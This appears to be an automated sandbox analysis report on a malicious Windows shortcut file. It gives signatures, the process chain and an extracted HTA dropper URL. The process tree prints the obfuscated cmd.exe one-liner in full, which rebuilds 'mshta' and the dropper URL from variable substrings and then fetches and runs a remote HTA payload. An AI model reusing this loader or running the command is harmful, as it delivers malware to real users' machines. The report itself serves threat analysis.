Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:30
General
- Target DOC-YRDNTV.lnk
- Size 2KB
- Sample260804-kenctavgrb
- SHA256 d3e25dbce74ab745da2d9d48e8c2f27571968f965da1c5482c6e3d27e64d9db8
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YRDNTV.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set ttji=baklfdehcfuazdkgvspebak&&set Rf=logjlwttbxtwjnseqzjchaalog&&set Go=cfghrtscrariazdfcfg&&set fvFF=baknjesgbcatsbak&&set Bayqi=6fxs0h&&set Tc=8letaoq&&set tHxr=qu9rtq3b&&set nhDiY=dbgseanipsjdbg&&set YwY=lognbabbswbuhtelqkkqolog&&set qcP=syskycuqtsys&&set gVCz=datujapkdmffidat&&set mDg=1qmseg&&set oNsUq=thth&&set wL=tsaeif&&set yGS=https@:@//m@a-@p@dffill@[email protected]@at/h@/est@agi@o1.@ph@p?@r=391@46@9FB5D8@2DB&&start /b !mDg:~2,2!!oNsUq:~1,2!!wL:~2,1! !yGS:@=!&&set XF=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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